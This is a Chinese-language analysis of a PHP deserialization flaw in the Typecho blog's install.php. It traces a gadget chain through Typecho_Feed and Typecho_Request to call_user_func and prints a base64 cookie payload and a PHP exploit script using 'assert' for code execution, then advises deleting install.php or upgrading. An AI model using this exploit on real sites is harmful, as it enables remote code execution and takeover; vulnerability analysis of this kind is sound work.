Typecho是一个简单,轻巧的博客程序。基于PHP,使用多种数据库(Mysql,PostgreSQL,SQLite)储存数据。在GPL Version 2许可证下发行,是一个开源的程序,目前使用SVN来做版本管理。经过分析确认,该漏洞可以无限制执行代码,通过这种方式可以导致getshell。
打开安装好的Typecho
这是生成的phpinfo()
的payload
__typecho_config=YTo3OntzOjQ6Imhvc3QiO3M6OToibG9jYWxob3N0IjtzOjQ6InVzZXIiO3M6NjoieHh4eHh4IjtzOjc6ImNoYXJzZXQiO3M6NDoidXRmOCI7czo0OiJwb3J0IjtzOjQ6IjMzMDYiO3M6ODoiZGF0YWJhc2UiO3M6NzoidHlwZWNobyI7czo3OiJhZGFwdGVyIjtPOjEyOiJUeXBlY2hvX0ZlZWQiOjM6e3M6MTk6IgBUeXBlY2hvX0ZlZWQAX3R5cGUiO3M6NzoiUlNTIDIuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6NTp7czo0OiJsaW5rIjtzOjE6IjEiO3M6NToidGl0bGUiO3M6MToiMiI7czo0OiJkYXRlIjtpOjE1MDc3MjAyOTg7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6LTE7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo3OiJwaHBpbmZvIjt9fXM6ODoiY2F0ZWdvcnkiO2E6MTp7aTowO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6LTE7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo3OiJwaHBpbmZvIjt9fX19fXM6MTA6ImRhdGVGb3JtYXQiO047fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9
设置相应的cookie并发送请求
http://localhost/html/install.php?finish
成功执行了phpinfo()
漏洞的入口点在install.php
,进入install.php
首先经过两个判断
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
exit;
}
// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
}
$parts = parse_url($_SERVER['HTTP_REFERER']);
if (!empty($parts['port'])) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
}
if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
}
只要GET传参为finish,并设置referer
为本站即可。
跟进代码,找到漏洞入口点,在install.php
的229-236行
<?php
//
if(!isset($_SESSION)) { die('no, you can\'t unserialize it without session QAQ');}
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>
很明显的存在一个反序列化的漏洞,说到反序列化我们就可以想到几个魔法函数,__destract
,__wakeup
,__toString
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
我们来分析一下代码,来看下这一句
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
首先Typecho_Cookie
通过get方式来获取__typecho_config
,get方式的构造
public static function get($key, $default = NULL)
{
$key = self::$_prefix . $key;
$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
return is_array($value) ? $default : $value;
}
可以看到给value赋值这一行,如果 _COOKIE里面没有就从
我们继续看install.php
的下一句
$db = new Typecho_Db($config['adapter'], $config['prefix']);
我们可以看到它new了一个Db对象,我们跟进Db类的构造函数看一下
我们跟进Db下的Db.php
,发现
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
这句代码将$adaptrName
属性和字符串拼接在一起,会自动调用__toString
魔法函数,所以我们只需要传入一个数组,让adapterName
值为一个有__toString
方法的类就行,我们可以通过全局搜索来查看一下__toString
发现两个有点搞头的文件
Feed.php
Query.php
我们跟进一下Feed.php
,查看一下__toString()
方法290行
foreach ($this->_items as $item) {
$content .= '<item>' . self::EOL;
$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
$content .= '<link>' . $item['link'] . '</link>' . self::EOL;
$content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
$content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
$item['category'] = array(new Typecho_Request());
我们来看一下这一段代码,看看这个代码的问题所在,首先item是 this->_items的foreach循环出来的,而且this->_item是当前类的一个私有属性,代码中又调用了
所以我觉得可以利用,当调用一个不可访问的属性时就会自动去调用魔法函数__get(),我们可以利用这个item来调用某个类的__get()方法,上面说过__get()方法是用于从不可访问的属性读取数据,实际的执行中,在此处会获取到该类的screenName属性,如果我们给 item'author'设置的类中没有screenName就会执行该类的__get()方法,接下来我们全局搜索下__get()方法.
发现Request.php
文件中__get()
方法如下:
public function __get($key)
{
return $this->get($key);
}
然后跟进this->get(
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}
$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}
在最后一行发现调用了_applyFilter
,跟进代码
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}
$this->_filter = array();
}
在这个方法里面,我们看到foreach判断value是否为数组,如果是就执行array_map,如果不是就去调用call_user_func,这两个函数都是代码执行的关键,而这里的 filter和value都是可以间接控制的,所以我们就可以用array_map和call_user_func来执行代码,比如我们设置 filter为数组,第一组键值是assert,
下面写一下exp
<?php
class Typecho_Feed
{
const RSS1 = 'RSS 1.0';
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
const DATE_RFC822 = 'r';
const DATE_W3CDTF = 'c';
const EOL = "\n";
private $_type;
private $_items;
public function __construct() {
$this->_type = $this::RSS2;
#$this->_type = $this::ATOM1;
$this->_items[0] = array(
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct() {
$this->_params['screenName'] = 'phpinfo()';
$this->_filter[0] = 'assert';
}
}
$exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);
echo base64_encode(serialize($exp));
?>
将
install.php
文件删除 或者升级成最新版本